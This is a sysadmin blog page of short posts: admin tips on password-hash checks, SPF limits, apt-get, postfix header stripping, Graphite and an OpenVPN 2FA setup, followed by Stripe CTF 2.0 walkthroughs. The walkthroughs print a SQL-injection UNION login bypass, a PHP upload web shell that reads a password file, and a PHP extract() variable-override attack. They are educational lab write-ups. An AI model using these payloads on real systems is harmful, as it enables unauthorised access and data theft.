Verify user’s password on the command line

If there’s any chance you need to verify a user’s password on the command line and you are root you can use openssl with the info from /etc/shadow.

So first we want to grab the entry from /etc/shadow

cat /etc/shadow | grep mike

That will give us something that looks like

mike:$6$tCFXiZHH$tFN8HZg/hXxYePSLZHVyBWuCFKlyesvKGKefwef2qR.DEKrrkvDUhewfwefuM.kU1HewfwE3HvprG/oMnizG2.:15734:0:99999:7:::

So the items we want are the $6 and the $tCFXiZHH. The $6 is important because that tells us the password is using sha512 for encryption. And the $tCFXiZHH is the salt.

So now we can run

mkpasswd -m sha-512 somePasswordHere tCFXiZHH

The output should match up with what’s above and if it is.. you have a valid password.

SPF DNS Lookup check for Nagios

Did you know that there is a max number of DNS lookups that can be done for an SPF lookup. The number is 10 and that includes any a or mx records along with includes to different hosts. I noticed this when I ran a SPF check on a domain and noticed it was 12. One of the errors is how Zendesk sets up their SPF record. For example their doc says use the following

v=spf1 include:_spf.zdsys.com ~all

Now that’s fine but if we do a

dig txt _spf.zdsys.com

That is one lookup and we get the following back

_spf.zdsys.com. 3600 IN TXT "v=spf1 include:_netblocks.zdsys.com ~all"

So they have another dns lookup. So in order to get to Zendesk’s valid servers you need to do an extra dns lookup. It adds up when you use google apps for email since they use around 5 lookups to get to all their hosts.

So I created a simple Nagios check in Python to keep tabs of our SPF record to make sure we stay under the 10 limit.

No more apt-get prompts

Sometimes you might be installing a package and don’t want it to prompt at all. Apt will prompt you a lot sometimes if you just do an apt-get install packageName. For example

  • If you want to install, if there are multiple packages
  • Accept package from a signed repo that you don’t have the key for
  • If you want to keep the old config

So you can run the following

 

apt-get -q -y -o DPkg::Options::=--force-confold --force-yes install packageName

grep only stderr from a command

So sometimes you have a command where you want to only grep stderr. For example I use Cronic to manage all my cronjobs. It’s really nice since it sends a nicely formatted email back to you if a command returns anything in stderr. Crontab alone will email me if anything in stdout/stderr is printed out from a command.

There is a problem with cronic though. There’s an app called s3cmd which uploads files to s3 and on large files this output can happen


WARNING: Retrying failed request: /postgresql/2013-05-05_hour-18.sql.bz2?partNumber=1&uploadId=m0gX4xcOU7IDla2B2p55xJXDfih_mm7rDx5bJvucUAmQYC10mwoHXVDjyoat_uzNJBYpedrWu7neakUpH3zGw-- ([Errno 110] Connection timed out)
WARNING: Waiting 3 sec...

This generally happens if the fule is very large. s3cmd will restart the transfer of the part and it will be uploaded just fine. So the main issue is s3cmd has no way to ignore warnings, at least as of 1.5.0-alpha2. If it does, I am overlooking it.

So in order to solve this I have decided I want to grep out the WARNING lines from stderr. Now the easy way to do this is re-direct stderr to stdout and pipe it to grep. Well this sucks cause you will lose valid error output. So the answer is something like this

cmd 2> >(grep -v "WARNING" >&2)

That will then allow you to grep just from stderr and the -v flag will set grep to ignore WARNING lines.

Remove internal hosts in postfix

A proper way to setup your network is to have a postfix relay server sitting somewhere on your network that every other server has access to via port 25. Now your relay server(s) are the only ones that should have outside access to port 25. All other servers should be firewalled off! 

So for example say your email chain looks like this for a new signup

web1.domain.com -> mailserver.domain.com -> internet -> user's mailbox

If the user views the email source they will see that the email started at web1.domain.com and it will include your internal IP address. So you are exposing internal IP addresses which isn’t very good at all.

So we can fix this in postfix very easily on the mailserver.domain.com config. For example say your internal network is

10.114.0.0/16

So lets remove them everything in that subnet along with 127.0.0.1. So edit the following file

/etc/postfix/main.cf

Then add the following line

header_checks = regexp:/etc/postfix/header_checks

Now create a new file

/etc/postfix/header_checks

Then add the following in place

/^Received:.*\[127\.0\.0\.1/ IGNORE
/^Received:.*\[10\.114\..*/ IGNORE

Then restart postfix and you are good to go.

How many bits per point in a whisper file in graphite

This is an easy one. You do an ls over a whisper file and get something like

1.1M -rwxr-xr-x  1 root root 1.1M Aug  9 11:06 Active.wsp

Now you are planning to save more metrics in your graphite server or want more points in your retention so you want to plan how much space you’ll need given an estimated guess of your metric count out 6 months from now. So you can run the following over that whisper file to get info on it.

$ whisper-info.py Active.wsp
maxRetention: 31536000
xFilesFactor: 0.5
aggregationMethod: average
fileSize: 1062772

Archive 0
retention: 604800
secondsPerPoint: 60
points: 10080
size: 120960
offset: 52

So you see for Archive 0 we have a certain size and number of points. So from here it’s easy math

120960 / 10080 = 12

So for each whisper data point you save it will allocate 12 bits on your filesystem. So you can plan our growth since carbon pre-allocates the space needed for whisper files so your disk isn’t doing any random seeks while pulling up data for your graphs.

 

Google Authenticator with OpenVPN for 2 factor auth

This post will describe how to get it working with Ubuntu 12.04. It should work with other versions along with other Linux distros. The only difference is the package names might change.

Install the packages

Run the following command

apt-get -y install openvpn libpam-google-authenticator

Setup OpenVPN

Place the cert key helps

mkdir /etc/openvpn/easy-rsa/
cp -R /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/easy-rsa/

Then you need to edit the following file

/etc/openvpn/easy-rsa/vars

Scroll all the way down and find the following section and change it to your needs

export KEY_COUNTRY=US
export KEY_PROVINCE=NY
export KEY_CITY=NewYork
export KEY_ORG=”Company VPN”
export KEY_EMAIL=”sysops@company.com”

Set the permissions

cd /etc/openvpn/easy-rsa/
sudo chown -R root:admin .
sudo chmod g+w .

Source the vars file to pull in needed environment variables

source ./vars

Run the scripts to build your keys

./clean-all
./build-dh
./pkitool –initca
./pkitool –server server
cd keys
openvpn –genkey –secret ta.key
sudo cp server.crt server.key ca.crt dh1024.pem ta.key ../../

Create the following file

/etc/openvpn/up.sh

With the contents of

#!/bin/sh

BR=$1
DEV=$2
MTU=$3

/sbin/ip link set “$DEV” up promisc on mtu “$MTU”
/sbin/brctl addif $BR $DEV

Then create another file called

/etc/openvpn/down.sh

With the contents of

#!/bin/sh

BR=$1
DEV=$2

/sbin/brctl delif $BR $DEV
/sbin/ip link set “$DEV” down

Now set permissions on this files

chmod +x /etc/openvpn/up.sh /etc/openvpn/down.sh

Then you want to add the following to /etc/sysctl.conf

net.ipv4.ip_forward = 1

That will set it on reboot but you want to set it now run the following

echo 1 > /proc/sys/net/ipv4/ip_forward

Now setup pam to work for openvpn. Create the following file

/etc/pam.d/openvpn

Then put the following in

auth requisite pam_google_authenticator.so forward_pass
auth required pam_unix.so use_first_pass

Now you need to edit your openvpn config. I called mine server.conf in /etc/openvpn and you want to add the following

plugin /usr/lib/openvpn/openvpn-auth-pam.so openvpn

Now once openvpn is started you can run the following as the user you are setting up VPN for. They will need a shell account and they can do this themselves if needed. So run the following command

google-authenticator

Then choose the following options in this order.

Do you want authentication tokens to be time-based (y/n) y
Do you want me to update your “/home/bla/.google_authenticator” file (y/n) y

Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y

By default, tokens are good for 30 seconds and in order to compensate for
possible time-skew between the client and the server, we allow an extra
token before and after the current time. If you experience problems with poor
time synchronization, you can increase the window from its default
size of 1:30min to about 4min. Do you want to do so (y/n) y

If the computer that you are logging into isn’t hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting (y/n) y

You notice this command might show a QR code at the top which you can download the Google Authenticator app on your phone to scan that code and it will setup your account automatically. If it doesn’t show a QR code it will show a link that will display the code.

You can now run openvpn and connect and the username is your shell user and if you set the password to test123 and google gives you a code of 847324, your password would be test123847324

 

Stripe CTF 2.0 Level 3

About

Here is a python level. They claim this one is more secure and it is a bit more but not really.

Hint Given

There really is no hint given other then in the code

Problem in the code

So take a look at line #86

query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
cursor.execute(query)
So that is taking a username and pulling out data to see if the user/password combo is correct. The main issue is they aren't checking for invalid input. Like putting in quotes for the username.

Solution

So we are going to attack this with a SQL injection attack. Since there isn’t any validating of data that is sent in via the username we can put SQL in the username to make it pull out data that we want. So we can do this with a UNION statement. Pretty much our attack will be to union data we provide so it overrides the data that is in the database. So first we have to create a salted password to use. So lets first up python and do something like this

>>> import hashlib

>>> hashlib.sha256(“bob”+”bob”)

<sha256 HASH object @ 0x10045dc30>

>>> hashlib.sha256(“bob”+”bob”).hexdigest()

’4c26991843b5498e99ef26e6cf45c4eecd9e6890436f619054aaa8790b35967c’

So what we are doing is creating our own salted password to pass in via SQL injection to the app so it can compare with a password we send in via the form and a salt we are also injecting. So once we have that encrypted password and a known salt/password we will enter the following

As the username

‘ UNION SELECT id, ’4c26991843b5498e99ef26e6cf45c4eecd9e6890436f619054aaa8790b35967c’ AS password_hash, ‘bob’ AS salt FROM users where username=’bob’;–

As the password

bob

So that will take id,password_hash and salt and replace it in the code with what the database would return when select a user bob.

Now you have the next level’s password.

Stripe CTF 2.0 Level 2

About

This is another PHP level where they emulate a little social network where you can upload a image of to use for your profile. This level goes into what is wrong if you don’t force an output file type for uploaded content.

Hint Given

The hint really is that you can upload a file to use as an image.

Problem in the code

The problem in the code is really how they handle the upload. They just take a file and move it into the uploads/ directory and keep the name of the file you uploaded. Generally if you accept images, you’d want to convert anything uploaded into a jpeg.

Solution

So this is a pretty simple one. Create a file called like attack.php with the following contents in it.

<?php echo file_get_contents(“../password.txt”);

So that will put the file in uploads/attack.php so you can fire up your browser and hit the following page

https://level02-4.stripe-ctf.com/user-cnfowzkbbk/uploads/attack.php

It will spit out the contents of password.txt.

Stripe CTF 2.0 Level 1

About

In this level you are given a form where you have to “guess” the secret password to get the password to the next level. This level is in PHP and requires you to really looking at the code to figure out an attack point.

Hint Given

I don’t think there are any real hints in this level in the description.

Problem in the code

So here is the following section of code that has a problem. Take a look at line 13

extract($_GET);

This is where you know how to attack this level. The problem is that extract() takes an array and sets the key value to variables with the value set. This is not a good thing to do with $_GET/$_POST array since the user can set those and override any of the variables that are setup before the extract. This is line 12

$filename = 'secret-combination.txt';
That var sets the secret file where the password to level is stored. Then in line 15 you have the following
$combination = trim(file_get_contents($filename));
This will take the contents of $filename and put it in $combination

Solution

So now that you know the weak spots. We want to attack the $_GET array. So we pass in a blank $filename and $attempt. So our query looks like

https://level01-2.stripe-ctf.com/user-xxxxxx/?filename=&attempt=

What that does is make $combination contain an empty string since the file contents of nothing is nothing. Then you are passing in combination on the $_GET array as nothing so it matches. The form wants to post but since it uses extract() to get the variable settings we can just attack it via $_GET and make the attack pretty easy.

 

Next Page »